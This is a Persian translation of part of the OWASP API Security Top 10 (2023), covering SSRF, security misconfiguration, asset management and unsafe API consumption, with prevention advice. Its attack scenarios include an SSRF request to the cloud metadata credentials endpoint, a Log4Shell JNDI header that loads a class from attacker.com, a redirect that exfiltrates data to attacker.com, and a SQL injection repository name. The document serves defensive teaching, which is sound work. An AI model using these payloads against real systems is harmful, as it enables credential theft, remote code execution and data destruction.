	برای بهره‌برداری از این آسیب‌پذیری، مهاجم تابع انتهایی APIی را پیدا کند که به URI مشتری، دسترسی می‌دهد. به طور کلی، SSRF ابتدایی (که بر مبنای feedback حاصل از موفقیت یا شکست حمله طراحی شده) نسبت به SSRF کور راحت‌تر بهره‌برداری می‌شود.	مفاهیم جدید در توسعه نرم‌افزارها، توسعه‌دهندگان را تشویق می‌کنند تا از URI های ارائه شده توسط مشتریان استفاده کنند. یکی از مشکلات رایج در اینجا این است که URI ارائه شده توسط مشتری به درستی اعتبارسنجی نشده یا اصلاح نشده باشند. برای تشخیص این مشکل، درخواست‌ها و پاسخ‌های API در روند توسعه و تست برنامه باید تجزیه و تحلیل شوند. وقتی که پاسخی به مشتری برنگشت داده نمی‌شود (مثل SSRF کور)، تشخیص و رفع آسیب‌پذیری نیاز به تلاش و خلاقیت بیشتری دارد.	اگر مهاجمی حمله SSRF را با موفقیت انجام دهد، ممکن است به نتایجی نظیر شناسایی خدمات داخلی سرور (مانند اسکن پورت‌ها)، دسترسی به اطلاعات محرمانه افشا شده، دور زدن دیواره‌ی آتش و دیگر مکانیزم‌های امنیتی دست یابد. در برخی موارد، این نوع حمله می‌تواند منجر به اختلال در ارائه سرویس (DoS) شود و باعث شود مهاجم از سرور به عنوان یک پروکسی برای پنهان کردن فعالیت‌های مخرب استفاده کند.	

آیا API از نظر جعل درخواست در سمت سرور[32] آسیب‌پذیر است؟

این آسیب‌پذیری زمانی رخ می‌دهد که یک API بدون اعتبارسنجی URL کاربر، منبعی را از راه دور درخواست می‌کند. این مسئله به مهاجم این امکان را می‌دهد تا اپلیکیشن را وادار کند حتی در صورت داشتن دیوار آتش یا شبکه خصوصی مجازی، درخواست‌هایی ساختگی ایجاد کرده و به مقصدی دور از انتظار ارسال کند.

مفاهیم مدرن در توسعه برنامه‌ها باعث می‌شود که مشکلات مربوط به این آسیب‌پذیری رایج‌تر و خطرناک‌تر شوند.

- موارد رایج‌تر: مفاهیم زیر، توسعه‌دهندگان را تشویق می‌کنند تا براساس ورودی کاربر به منابع خارجی دسترسی پیدا کنند: وب‌هوک‌ها، دریافت فایل از URLها، سفارشی‌سازی SSO و پیش‌نمایش URLها.
- موارد خطرناک‌تر: فناوری‌های مدرن مانند ارائه‌دهندگان فضای ابری، Kubernetes و Docker امکان قرارگیری رابط‌های مدیریت و کنترل را از طریق HTTP روی مسیرهای پیش‌بینی‌پذیر و شناخته‌شده فراهم آورده‌اند. این کانال‌ها مورد هدف مستقیم مهاجمان برای حملات SSRF قرار می‌گیرند.

در برنامه‌های مدرن که ارتباطات پیوسته و بدون وقفه با سایر اجزای سیستم دارند، کنترل ترافیک خروجی از برنامه به دلیل پیچیدگی ارتباطات بیشتر چالش‌برانگیز است.

[32] Server-Side Request Forgery

خطر SSRF نمی‌تواند به طور کامل از بین برود. بنابراین در هنگام انتخاب یک مکانیزم حفاظتی، مهم است که خطرات و نیازهای تجاری را در نظر گرفت.

مثال‌هایی از سناریوهای حمله

سناریو #۱

یک شبکه اجتماعی به کاربران امکان بارگذاری تصویر برای پروفایل کاربری خود را می‌دهد. کاربر می‌تواند تصویر را از دستگاه بارگذاری کرده یا URL آن را وارد کند. در صورت وارد کردن URL، API زیر فراخوانی می‌شود:

```
POST /api/profile/upload_picture

{
  "picture_url": "http://example.com/profile_pic.jpg"
}
```

مهاجم می‌تواند URL مخربی را ارسال کرده و با استفاده از تابع انتهایی API، پورت‌های شبکه داخلی را اسکن کند:

```
{
  "picture_url": "localhost:8080"
}
```

بر اساس زمان پاسخ‌دهی، مهاجم می‌تواند بفهمد که پورت باز است یا خیر.

سناریو #۲

یک محصول امنیتی طوری طراحی شده که وقتی ناهنجاری‌هایی را در شبکه تشخیص دهد، رویدادهای متناسب با آن را تولید می‌کند. برخی از تیم‌ها ترجیح می‌دهند که این رویدادها را در یک سیستم نظارتی عمومی و کلان‌تر مانند SIEM (مدیریت اطلاعات و رویداد امنیتی) بررسی کنند. به این منظور، محصول امنیتی با استفاده از وب‌هوک‌ها امکان ادغام با سایر سیستم‌ها را فراهم می‌آورد

در جریان ایجاد یک وب‌هوک جدید، یک تغییر GraphQL ارسال می‌شود که شامل مسیر تابع انتهایی SIEM است.

```
POST /graphql

[
  {
    "variables": {},
    "query": "mutation {
      createNotificationChannel(input: {
        channelName: \"ch_piney\",
```

```
        notificationChannelConfig: {
          customWebhookChannelConfigs: [
            {
              url: \"http://www.siem-system.com/create_new_event\",
              send_test_req: true
            }
          ]
          }
      }){
        channelId
    }
    }"
  }
]
```

در طول فرآیند ایجاد وب‌هوک، API پشتیبانی یک درخواست آزمایشی به URL وب‌هوک ارائه شده، ارسال می‌کند و پاسخ را به کاربر نشان می‌دهد.

مهاجم می‌تواند از این فرآیند بهره برده و درخواست API را به منبعی حساس، مانند یک سرویس فهرست متادیتای ابر داخلی که شامل اطلاعات ورود به حساب‌های کاربری است، تغییر دهد:

```
POST /graphql

[
  {
    "variables": {},
    "query": "mutation {
      createNotificationChannel(input: {
        channelName: \"ch_piney\",
        notificationChannelConfig: {
          customWebhookChannelConfigs: [
            {
              url: \"http://169.254.169.254/latest/meta-data/iam/security-
credentials/ec2-default-ssm\",
              send_test_req: true
            }
          ]
        }
      }) {
        channelId
      }
    }
  }
]
```

وقتی برنامه پاسخ این درخواست آزمایشی را ارسال می‌کند، مهاجم می‌تواند اطلاعات ورود به حساب کاربری در محیط ابری را مشاهده کند.

چگونه از آسیب‌پذیری جعل درخواست در سمت سرور پیشگیری کنیم؟

- جداسازی مکانیزم بازیابی منابع در شبکه: محدود کردن امکان دسترسی به منابع داخلی شبکه توسط مکانیزم‌هایی که برای بازیابی منابع از راه دور طراحی شده‌اند.
- در صورت امکان، از لیست‌های مجاز[۳۳] استفاده شود.
- الگوهای URL و پورت‌ها
- انواع رسانه‌های مجاز برای قابلیت‌های خاص
- غیرفعال کردن بازنشانی[۳۴]های HTTP
- استفاده از یک تجزیه‌کننده[۳۵] URL امتحان شده برای جلوگیری از مشکلات ناشی از عدم انطباق در تجزیه URL
- اعتبارسنجی و پاکسازی تمام داده‌های ورودی از سوی مشتری
- عدم ارسال داده خام به مشتری

مراجع

OWASP

- Server Side Request Forgery
- Server-Side Request Forgery Prevention Cheat Sheet

خارجی

- CWE-918: Server-Side Request Forgery (SSRF)
- URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, Snyk

[33] Whitelist
[34] Redirect
[35] Parser

API8:2023 پیکربندی امنیتی نادرست

خاص API	قابلیت بهره‌برداری: آسان	میزان شیوع: گسترده	قابلیت تشخیص: آسان	پیامد فنی: متوسط	خاص کسب‌وکار
	مهاجمین غالبا در تلاش برای یافتن حفره‌های وصله نشده، توابع رایج یا فایل‌ها و مسیرهای محافظت نشده به منظور دسترسی غیرمجاز به سیستم هستند. اطلاعات و تکنیک‌های مرتبط با این مسائل به طور عمومی در دسترس بوده و احتمال وقوع حمله در مورد آنها وجود دارد.	پیکربندی امنیتی نادرست می‌تواند در هر سطحی از API، از سطح شبکه تا سطح اپلیکشن روی دهد. ابزارهای خودکاری وجود دارند که فرایند تشخیص و بهره برداری از پیکربندی‌های نادرست نظیر تشخیص سرویس‌های غیرضروری را انجام می‌دهند.		پیکربندی امنیتی نادرست نه تنها می‌تواند اطلاعات حساس کاربر را افشا کند بلکه جزئیاتی از سیستم که ممکن است به از دست رفتن کامل سرور منجر شود را نیز در معرض خطر قرار می‌دهد.	

آیا API از نظر پیکربندی امنیتی نادرست[۳۶] آسیب‌پذیر است؟

API از منظر پیکربندی امنیتی نادرست آسیب‌پذیر است اگر:

- ایمن سازی امنیتی مناسب[۳۷] در هر قسمت از پشته اپلیکیشن رعایت نشده یا اپلیکیشن مجوزهای با پیکربندی نادرست روی سرویس‌های ابری داشته باشد.
- جدیدترین وصله‌های امنیتی نصب نشده و سیستم‌ها کاملا بروز نباشند.
- ویژگی غیرضروری (نظیر Verb اضافی HTTP) فعال باشند.
- تفاوت‌هایی در نحوه پردازش درخواست‌های ورودی توسط سرورها در زنجیره سرور HTTP وجود داشته باشد.
- امنیت لایه انتقال (TLS) غیرفعال باشد.
- دستورات و الزامات امنیتی (نظیر سرایندهای امنیتی) به سوی کلاینت ارسال نشوند.
- خط مشی اشتراک متقابل منابع (CORS[38]) وجود نداشته یا به درستی پیاده‌سازی نشده باشد.
- پیام‌های خطا ردپای پشته[۳۹] یا اطلاعات حساس دیگر را افشا نمایند.

---

[36] Security Misconfiguration
[37] Hardening
[38] Cross-Origin Resource Sharing
[39] Stack Trace

مثال‌هایی از سناریوهای حمله

سناریو #۱

سروری از API یک نرم‌افزار ثبت دسترسی معتبر و متن‌باز با قابلیت توسعه و پشتیبانی از جستجوهای JNDI (واسطه نام‌گذاری و دایرکتوری جاوا) برای ثبت درخواست‌ها و دسترسی‌ها استفاده می‌کند. برای هر درخواست جدید، یک ورودی جدید با الگوی زیر ثبت می‌شود:

```
<method> <api_version>/<path> - <status_code>
```

یک عامل مخرب، درخواست API مشخصی را ارسال می‌کند که در فایل گزارش دسترسی نوشته می‌شود:

```
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
```

اگر مهاجم از یک سرور کنترل از راه دور برای اجرای یک کد مخرب با نام Malicious.class استفاده کرده و این کد را در سرآیند درخواست X-Api-Version قرار دهد، نرم‌افزار گزارش‌دهی، به دلیل تنظیمات پیش‌فرض ناامن خود، این کد مخرب را از سرور مهاجم دانلود کرده و اجرا می‌کند.

سناریو #۲

یک وب‌سایت شبکه‌ی اجتماعی امکان ارسال "پیام مستقیم" را فراهم کرده که به کاربران امکان برقراری گفت‌وگوی خصوصی را می‌دهد. برای دریافت پیام‌های جدید در یک گفت‌وگو خاص، وب‌سایت درخواست API زیر را ارسال می‌کند (نیازی به تعامل کاربری نیست):

```
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
```

پاسخ API شامل هدر پاسخ HTTP Cache-Control نمی‌شود، به همین علت گفت‌وگوهای خصوصی در مرورگر وب ذخیره شده و به مهاجمان اجازه می‌دهد که آنها را از فایل‌های حافظه نهان مرورگر در فایل‌سیستم بازیابی کنند.

چگونه از آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟

چرخه حیات API بایستی شامل موارد زیر باشد:

- فرایندی تکرار شونده برای ایمن سازی API که منجر به پیاده‌سازی سریع و آسان یک محیط ایمن شود.

- فرایندی برای بازبینی و بروزرسانی پیکربندی‌ها در سراسر پشته API؛ این بازبینی بایستی موارد از جمله بازبینی هماهنگی بین فایل‌ها، مولفه‌های API و سرویس‌های ابری (نظیر مجوزهای باکت‌های S3) را دربرگیرد.
- فرایندی خودکار جهت ارزیابی پیوسته و مداوم اثربخشی پیکربندی و تنظیمات اعمال شده در سراسر محیط API و اپلیکیشن.

بعلاوه:

- حصول اطمینان از این که تمام ارتباطات API از سمت مشتری به سرور و هر کارکردهای دیگر روی یک کانال ارتباطی رمزنگاری شده (TLS) انجام می‌شود؛ بدون توجه به اینکه آیا این API داخلی است یا به صورت عمومی منتشر شده است.
- حصول اطمینان از اینکه API فقط به افعال HTTP مدنظر توسعه دهنده پاسخ می دهد و غیرفعال کردن سایر افعال (نظیر HEAD).
- APIهایی که انتظار می‌رود دسترسی به آنها از طریق کلاینت‌های مبتنی بر مرورگر (مثلا فرانت WebApp) باشد:
- بایستی خط مشی CORS مناسب را بکار گیرند.
- شامل سرآیندهای امنیتی قابل اجرا باشند.
- محتوا و فرمت داده‌های ورودی را طوری محدود کنید که با نیازها و عملکرد کسب‌وکار سازگار باشند.
- برای جلوگیری از مشکلات عدم هماهنگی، مطمئن شوید که تمام سرورها در زنجیره سرورهای HTTP (مانند توازن بار[40]، پروکسی‌های معکوس و پیشرو[41] و back-end) درخواست‌های ورودی را به شیوه‌ای یکنواخت پردازش می‌کنند.
- در موارد قابل اجرا، تمام طرح‌های بارگیری پاسخ API تعریف و اعمال شود، از جمله پاسخ‌های خطا، تا از ارسال جزئیات اشتباه و اطلاعات مهم به مهاجمان جلوگیری گردد.

[40] load balancers
[41] reverse and forward proxies

- برای همه پاسخ‌هایی که از API دریافت می‌شود، حتی پاسخ‌های شامل پیغام خطا، یک نقشه ساختاری دقیق تعریف شود. این اقدام باعث می‌شود که جزئیات خطاها و سایر اطلاعات حساس به مهاجمان ارسال نشود.

مراجع

OWASP

- OWASP Secure Headers Project
- Configuration and Deployment Management Testing - Web Security Testing Guide
- Testing for Error Handling - Web Security Testing Guide
- Testing for Cross Site Request Forgery - Web Security Testing Guide

خارجی

- CWE-2: Environmental Security Flaws
- CWE-16: Configuration
- CWE-209: Generation of Error Message Containing Sensitive Information
- CWE-319: Cleartext Transmission of Sensitive Information
- CWE-388: Error Handling
- CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- Guide to General Server Security, NIST
- Let's Encrypt: a free, automated, and open Certificate Authority

API9:2023 مدیریت نادرست دارایی‌ها

خاص API	قابلیت بهره‌برداری: آسان	میزان شیوع: گسترده	قابلیت تشخیص: متوسط	پیامد فنی: متوسط	خاص کسب‌وکار
	نسخه‌های قدیمی API غالبا اصلاح و بروزرسانی نشده‌اند و از آنجا که از مکانیزم‌های دفاعی نوین موجود در APIهای جدید بهره نمی‌برند، راهی آسان برای دسترسی به سیستم‌ها برای مهاجمین فراهم می‌سازند. در برخی موارد، ابزارهای یا تکنیک‌های نفوذ برای حمله به سیستم‌ها از قبل وجود دارند. در موارد دیگر، ممکن است مهاجمان از طریق یک شخص یا سازمان ثالث که هیچ دلیل قانونی برای به اشتراک گذاری اطلاعات با آن وجود ندارد، به اطلاعات حساس دسترسی یابند.		عدم بروزرسانی مستندات، شناسایی و رفع آسیب پذیری‌ها را دشوارتر می‌کند. همچنین نبود فهرستی از دارایی‌ها و فقدان یک استراتژی مدون برای از دور خارج کردن نسخه‌های قدیمی منجر می‌شود تا سیستم های وصله نشده، مورد استفاده قرار گرفته و در نتیجه آن افشای اطلاعات رخ دهد. امروزه با کمک مفاهیم نوینی نظیر مایکروسرویس‌ها که امکان بکارگیری اپلیکیشن‌ها بصورت مستقل را تسهیل نموده‌اند (نظیر رایانش ابری، k8s یا کوبرنیتس و ...)، یافتن APIهایی که به صورت غیرضروری در معرض دید همگان قرار دارند تبدیل به امری رایج و آسان شده است. استفاده از تکنیک‌هایی مانند Google Dorking، نقض DNS یا استفاده از موتورهای جستجوی ویژه برای انواع مختلف سرورها (دوربین‌های تحت شبکه، روترها، سرورها و غیره) متصل به اینترنت کافی خواهد بود تا مهاجم بتواند اهدافی را کشف کند.		مهاجم می‌تواند از طریق نسخه‌های قدیمی API که کماکان به پایگاه داده‌ی اصلی متصل هستند، به داده‌ی حساس و یا حتی سرور دسترسی یابد. گاهی اوقات نسخه‌ها یا پیاده‌سازی‌های مختلف API به پایگاه داده‌ای مشترک با داده‌های واقعی متصل هستند. عاملان تهدید ممکن است از endpointهای موجود در نسخه‌های قدیمی API برای دستیابی به توابع مدیریتی استفاده کرده و از آسیب‌پذیری‌های شناخته شده بهره‌برداری کنند.	

آیا API از نظر مدیریت نادرست دارایی‌ها[42] آسیب‌پذیر است؟

طبیعت متصل و پراکنده APIها و برنامه‌های مدرن چالش‌های جدیدی را به دنبال دارد. سازمان‌ها علاوه بر داشتن درک دقیقی از APIها و endpoint های آن‌ها، باید چگونگی به اشتراک گذاری داده با شرکت‌ها یا اشخاص دیگر را درک کنند. این مسأله به امنیت و حفظ حریم خصوصی داده‌ها مرتبط بوده و نیازمند درک کامل و کنترل دقیق بر روی چگونگی استفاده از داده‌ها و اشتراک آن‌ها با سایر ارتباط‌گیرندگان است.

اجرای چندین نسخه از یک API نیازمند ارائه منابع مدیریتی اضافی می‌باشد که باید برای هر نسخه از API منابع و زیرساخت مجزا فراهم نموده و از نظر امنیتی بر هر کدام نظارت کرد.

[42] Improper Asset Management

یک API در مستنداتش نقاط کور دارد اگر:

- هدف از وجود API نامشخص بوده و پاسخی برای سوال‌های زیر وجود نداشته باشد:
  - API در چه محیطی در حال اجرا است (مثلا محیط تست، توسعه، اجرا[۴۳] یا عملیات[۴۴])؟
  - چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افراد دخیل یا شرکا)؟
  - چه نسخه‌ای از API در حال اجرا است؟
  - چه داده‌ای (نظیر PII) توسط API در حال جمع آوری و پردازش است؟
  - جریان داده به چه صورت است؟
- مستندی برای API وجود ندارد یا بروز نیست.
- برنامه‌ای برای بازنشستگی و از دور خارج شدن هریک از نسخه‌های API وجود ندارد.
- فهرست میزبان‌ها[۴۵] وجود ندارد یا قدیمی است.

داشتن دید و لیست‌بندی از چگونگی جریان اطلاعات حساس در سازمان و نحوه تبادل این اطلاعات با شخص‌ها یا سازمان‌های دیگر، نقش مهمی در برنامه واکنش به وقوع یک حادثه امنیتی دارد. این اهمیت به ویژه زمانی ظاهر می‌شود که یک نقض امنیتی از سوی شرکت یا سازمان سومی رخ دهد.

یک API دارای نقطه کور در جریان داده است اگر:

- API جریان داده حساسی را با طرف ثالث به اشتراک می‌گذارد و
- توجیه تجاری یا تأییدی برای این جریان وجود ندارد.
- موجودیت یا دیدگاهی از این جریان وجود ندارد.
- دیدگاه دقیقی از نوع داده حساسی که به اشتراک گذاشته می‌شود، وجود ندارد.

مثال‌هایی از سناریوهای حمله

سناریو #۱

[43] Stage
[44] Production
[45] Host Inventory

یک شبکه اجتماعی از مکانیزم محدودسازی نرخ ارسال درخواست[۴۶] برای جلوگیری از انجام حملات Brute Force توسط مهاجمین جهت حدس توکن‌های تغییر گذرواژه بهره می‌برد. این مکانیزم نه به عنوان بخشی از کد API، بلکه به عنوان مولفه ای مابین کلاینت و API اصلی (در `www.socialnetwork.com`) پیاده‌سازی شده است. مهاجم یک نسخه بتا از میزبان (`www.mbasic.beta.socialnetwork.com`) API می‌یابد که از API یکسانی بهره می‌برد و رویه تغییر گذرواژه یکسانی دارد با این تفاوت که در آن هیچ مکانیزمی جهت محدودسازی نرخ درخواست تعبیه نشده است؛ در نتیجه مهاجم قادر خواهد بود که گذرواژه هر یک از کاربران را طی یک عملیات Brute Force ساده با حدس زدن یک توکن ۶ رقمی تغییر دهد.

سناریو #۲

توسعه‌دهندگان برنامه‌های مستقل می‌توانند با یک شبکه اجتماعی ادغام شوند. به عنوان بخشی از این فرآیند، اجازه‌نامه‌ای به کاربر نهایی ارائه می‌شود تا شبکه اجتماعی بتواند اطلاعات شخصی کاربران را با برنامه مستقل به اشتراک بگذارد. جریان داده بین شبکه اجتماعی و برنامه‌های مستقل، محدود نیست و نظارت کافی بر آن نمی‌شود. درنتیجه برنامه‌های مستقل به جز اطلاعات کاربر، به اطلاعات خصوصی تمام دوستان آن‌ها دسترسی پیدا می‌کنند. یک شرکت مشاوره، برنامه مخربی ایجاد کرده و توانسته از ۲۷۰،۰۰۰ کاربر اجازه دسترسی به اطلاعاتشان را بگیرد. به دلیل این نقص، شرکت مشاوره توانسته به اطلاعات خصوصی ۵۰،۰۰۰،۰۰۰ کاربر دسترسی پیدا کند. بعداً این شرکت مشاوره این اطلاعات را به منظور اهداف مخرب به فروش می‌رساند.

چگونه از آسیب‌پذیری مدیریت نادرست دارایی‌ها پیشگیری کنیم؟

- فهرستی از تمامی میزبان‌های API تهیه شده و جنبه‌های مهم هرکدام با تمرکز بر محیط API (محیط تست، توسعه، اجرا یا عملیات)، افراد مجاز به دسترسی شبکه‌ای به میزبان (همه، افراد دخیل یا شرکا) و نسخه API مستند شود.
- فهرستی از سرویس‌های یکپارچه تهیه شده و جنبه‌های مهم این سرویس‌ها نظیر نقش آنها، داده‌ی مبادله شده (جریان داده) و میزان حساسیت آنها مستند شود.

[46] Rate-Limiting

- تمامی جنبه‌های API نظیر نحوه احراز هویت، خطاها، ریدایرکت‌ها، محدودسازی نرخ درخواست، خط مشی‌های اشتراک گذاری متقابل منابع (CORS) و نقاط پایانی یا توابع انتهایی (Endpointها) شامل پارامترها، درخواست‌ها و پاسخ‌ها مستند شوند.
- با بکارگیری و انطباق با استانداردهای باز، فرایند تولید مستند بطور خودکار انجام شده و این فرایند در CI/CD Pipeline تعبیه گردد.
- مستندات API در اختیار افرادی که مجاز به دسترسی به API هستند قرار گیرد.
- از مکانیزم‌های محافظتی خارجی از جمله فایروال‌های امنیت API برای محافظت از تمامی نسخه‌های در معرض دید API (نه فقط نسخه فعلی) استفاده گردد.
- از استفاده همزمان نسخه‌های عملیاتی شده[۴۷] و عملیاتی نشده[۴۸] API اجتناب شود. اگر این همزمانی اجتناب ناپذیر است، برای نسخه‌های عملیاتی نشده API نیز باید همان حفاظت‌های امنیتی نسخه‌های عملیاتی شده برقرار باشد.
- هنگامی که در نسخه‌های جدیدتر API بهبودهای امنیتی اعمال می‌شود، بایستی فرایند تحلیل ریسک نیز صورت پذیرد تا بتوان تصمیمات لازم در خصوص اقدامات جبرانی برای رفع مشکلات امنیتی نسخه‌های قدیمی‌تر را اتخاذ نمود. بعنوان نمونه، آیا می‌توان بدون تحت‌الشعاع قراردادن انطباق‌پذیری[۴۹] API بهبودهای امنیتی را در نسخه‌های قدیمی نیز وارد نمود یا اینکه بایستی تمامی نسخه‌های قدیمی به سرعت از دسترس خارج شده و تمامی کلاینت‌های مجبور به استفاده از آخرین نسخه شوند؟

مراجع

خارجی

- CWE-1059: Incomplete Documentation

[47] Production
[48] Non-Production
[49] Compatibility

API10:2023 استفاده ناایمن از APIها

عوامل تهدید	مسیر حمله	ضعف امنیتی		پیامد	
خاص API	قابلیت بهره‌برداری: آسان	میزان شیوع: متداول	قابلیت تشخیص: متوسط	پیامد فنی: شدید	خاص کسب‌وکار
برای بهره‌برداری از این آسیب‌پذیری مهاجم باید APIها یا خدمات دیگری که با آنها ادغام شده را شناسایی کرده و به آنها نفوذ کند. این اطلاعات به صورت عمومی در دسترس نبوده یا API سرویس‌های آن به آسانی قابل بهره‌برداری نیستند.		توسعه‌دهندگان معمولا به endpointهای API های خارجی یا طرف ثالثی که در ارتباط هستند، اعتماد می‌کنند. آنها این تصور را دارند که الزامات امنیتی ضعیف‌تری مانند امنیت در انتقال اطلاعات، احراز هویت و دسترسی و اعتبارسنجی و تصفیه اطلاعات ورودی، امنیت کافی برای این نقاط را تامین می‌کند. مهاجمان باید خدماتی را که API هدف با آنها ادغام می‌شود (منابع داده) شناسایی کرده و سعی کنند که آنها را مختل کرده یا به صورت غیرمجاز به آنها دسترسی پیدا کنند.		پیامد این وضعیت به نحوه استفاده از داده‌های بهره‌برداری شده بستگی دارد. بهره‌برداری موفق از این آسیب‌پذیری ممکن است منجر به افشای اطلاعات حساس به اشخاص غیرمجاز شود. انواع مختلف حملاتی که در نتیجه بهره‌برداری از این آسیب‌پذیری ممکن است رخ دهد مانند حملات تزریق‌ها یا DoD خواهد بود.	

آیا API از نظر استفاده ناایمن از APIها[50] آسیب‌پذیر است؟

توسعه‌دهندگان معمولاً به داده‌های دریافتی از APIهای طرف ثالث بیشتر از ورودی‌های کاربران اعتماد می‌کنند. این موضوع برای APIهای ارائه شده توسط شرکت‌های معروف بیشتر صدق می‌کند. به همین دلیل، توسعه‌دهندگان عمدتاً استانداردهای امنیتی ضعیف‌تری را در بسیاری از موارد از جمله اعتبارسنجی و تصفیه ورودی اتخاذ می‌کنند.

APIها ممکن است در معرض آسیب‌پذیری باشند اگر:

- با سایر API ها از طریق یک کانال بدون رمزگذاری ارتباط برقرار کنند.
- داده‌های جمع‌آوری شده از دیگر API ها را قبل از پردازش یا ارسال به اجزای پایین‌دست به درستی اعتبارسنجی و تصفیه نکنند.
- محدودیتی در پاسخ‌دهی به درخواست‌های پی‌درپی نداشته باشند.
- تعداد منابع مورد نیاز برای پردازش پاسخ‌های سرویس‌های طرف ثالث را محدود نکنند.

[50] Unsafe Consumption of APIs

- بازه زمانی محدود برای ارتباط با سرویس‌های طرف ثالث مشخص نکنند.

مثال‌هایی از سناریوهای حمله

سناریو #۱

در این سناریو، یک API از آدرس‌های کسب و کار یک سرویس طرف ثالث استفاده می‌کند. وقتی یک کاربر آدرسی را به API ارائه می‌دهد، آن آدرس به سرویس طرف ثالث ارسال شده و اطلاعات بازگشتی در یک پایگاه داده محلی SQL ذخیره می‌شود. اشخاص با نیت مخرب، از سرویس طرف ثالث برای ذخیره کردن کدهای تزریق(SQLi) SQL استفاده می‌کنند. سپس با بکارگیری API آسیب‌پذیر و درج ورودی‌های خاص، می‌تواند اطلاعات مرتبط با کسب و کار آلوده شده را از سرویس طرف ثالث دریافت کند. در نهایت، کدهای تزریق شده SQL از طریق پایگاه داده اجرا شده و توسط مهاجم به سرور کنترلی ارسال می‌شوند. این کار سبب می‌شود تا مهاجم به طور غیرمجاز اطلاعات را از دیتابیس بازیابی کرده و بر روی سرور خود کنترل کند.

سناریو #۲

یک API با یک ارائه‌دهنده خدمات طرف ثالث ادغام می‌شود تا اطلاعات حساس پزشکی کاربران را به شکلی ایمن ذخیره کند. داده‌ها با استفاده از یک درخواست HTTP از طریق برقراری یک اتصال امن، ارسال می‌شوند:

```
POST /user/store_phr_record
{
  "genome": "ACTAGTAG__TTGADDAAIICCTT…"
}
```

مهاجمین با نیت مخرب، باعث می‌شوند که این سرویس به جای پاسخ معمولی به درخواست‌ها، پاسخ‌هایی با کد ۳۰۸ Permanent Redirect ارسال کند. کد ۳۰۸ به معنای انتقال دائمی است که سبب می‌شود سرویس درخواست‌های کاربران را به مکان دیگری منتقل کند.

```
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
```

در نتیجه، اطلاعات حساس کاربران به جای ارسال به سرویس طرف ثالث، به سروری تحت کنترل مهاجم، ارسال می‌شود.

سناریو #۳

مهاجمی یک مخزن Git با نام '; drop db;-- ایجاد می‌کند. وقتی اتصالی از برنامه تحت حمله با مخزن مخرب برقرار شود، برنامه نام مخزن را به عنوان یک ورودی امن در نظر می‌گیرد.

چگونه از آسیب‌پذیری استفاده ناایمن از APIها پیشگیری کنیم؟

- ارزیابی ارائه‌دهندگان خدمات: هنگام انتخاب ارائه‌دهندگان خدمات طرف ثالث، امنیت API آنها را به دقت ارزیابی کرده و آن‌هایی را انتخاب کنید که دارای سابقه قوی در زمینه امنیت و حفاظت از داده‌ها هستند.
- ارتباط امن: اطمینان حاصل کنید که تمام تعاملات با APIها از طریق یک کانال ارتباطی امن (TLS) صورت می‌گیرد. این کار باعث می‌شود که داده‌ها در زمان انتقال رمز شده و از دسترسی مهاجمان به آن‌ها جلوگیری شود.
- اعتبارسنجی و تصفیه داده: همیشه داده‌های دریافتی از APIها را اعتبارسنجی و تصفیه کنید. این عمل از حملات مرتبط با تزریق اطلاعات جلوگیری می‌کند.
- نگهداری لیست مجاز (Allowlist): یک لیست مجاز از مکان‌های شناخته‌شده‌ای که APIها ممکن است به آنها هدایت شوند را نگهداری کرده و از دنبال کردن مسیرهای دارای مقصد ناشناخته خودداری کنید.

مراجع

OWASP

- Web Service Security Cheat Sheet
- Injection Flaws
- Input Validation Cheat Sheet
- Injection Prevention Cheat Sheet
- Transport Layer Protection Cheat Sheet
- Unvalidated Redirects and Forwards Cheat Sheet

خارجی

- CWE-20: Improper Input Validation
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-319: Cleartext Transmission of Sensitive Information

D+ گام بعدی برای توسعه‌دهندگان

وظایف مرتبط با ایجاد و نگهداری ایمن از نرم افزارها یا امن سازی نرم افزارهای موجود می‌توانند فرایندی دشوار باشند و APIها نیز از اینن قضیه مستثنی نیستند.

بر این باوریم که آموزش و آگاه سازی، گامی کلیدی در راستای نوشتن و توسعه نرم افزارهای ایمن هستند. تمامی الزامات دیگر در راستای نیل به هدف فوق به ایجاد و استفاده از فرایندهای امنیتی تکرارپذیر و کنترل‌های امنیتی استاندارد بستگی دارد.

OWASP منابع آزاد و رایگان متعددی برای پاسخ به مسائل امنیتی از ابتدای پروژه ایجاد نموده است. به منظور آشنایی با لیست جامع پروژه‌های دردسترس، صفحه پروژه‌های OWASP را ملاحظه نمایید.

آموزش	برای شروع می‌توان از پروژه مطالب آموزشی OWASP بسته به علاقه و نوع حرفه آغاز نمود. برای آموزش عملیاتی، crAPI[51]را نیز به نقشه راه خود افزوده‌ایم. تست‌های مربوط به WebAppSec را می‌توان با OWASP DevSlop Pixi Module که یک WebApp و سرویس API آزمایشگاهی آسیب‌پذیر است، انجام داد. استفاده از چنین ابزارهایی سبب یادگیری نحوه تست وب اپلیکیشن‌ها و APIهای مدرن از منظر مسائل امنیتی و چگونگی توسعه APIهای مدرن در آینده خواهد شد. همچنین امکان شرکت در

[51] Completely Ridiculous API

	جلسات آموزشی کنفرانس AppSec و عضویت در شَعب محلی OWASP نیز برای علاقه مندان وجود دارد.
الزامات امنیتی	امنیت باید بعنوان بخشی تفکیک ناپذیر در تمامی پروژه‌ها از ابتدا درنظر گرفته شود. در هنگام استخراج الزامات امنیتی، باید معنی واژه «ایمن» برای هر پروژه مشخصا تعریف شود. OWASP استفاده از استاندارد امنیت سنجی اپلیکیشن (ASVS) را بعنوان راهنمایی برای تعیین الزامات امنیتی توصیه می‌کند. در صورت برون سپاری نیز، استفاده از ضمیمه قرارداد نرم افزار ایمن OWASP (که بایستی با قوانین و رگولاتوری‌های محلی انطباق یابد) می‌تواند انتخاب مناسبی باشد.
معماری امنیتی	امنیت بایستی در تمامی مراحل توسعه پروژه‌ها اهمیت داشته باشد. برگه‌های راهنمای پیشگیری OWASP نقطه شروع مناسبی برای چگونگی طراحی ایمن در خلال فاز طراحی معماری به شمار آید. همچنین برگه راهنمای امنیت REST و برگه راهنمای ارزیابی REST نیز گزینه‌های مناسبی در این راستا هستند.
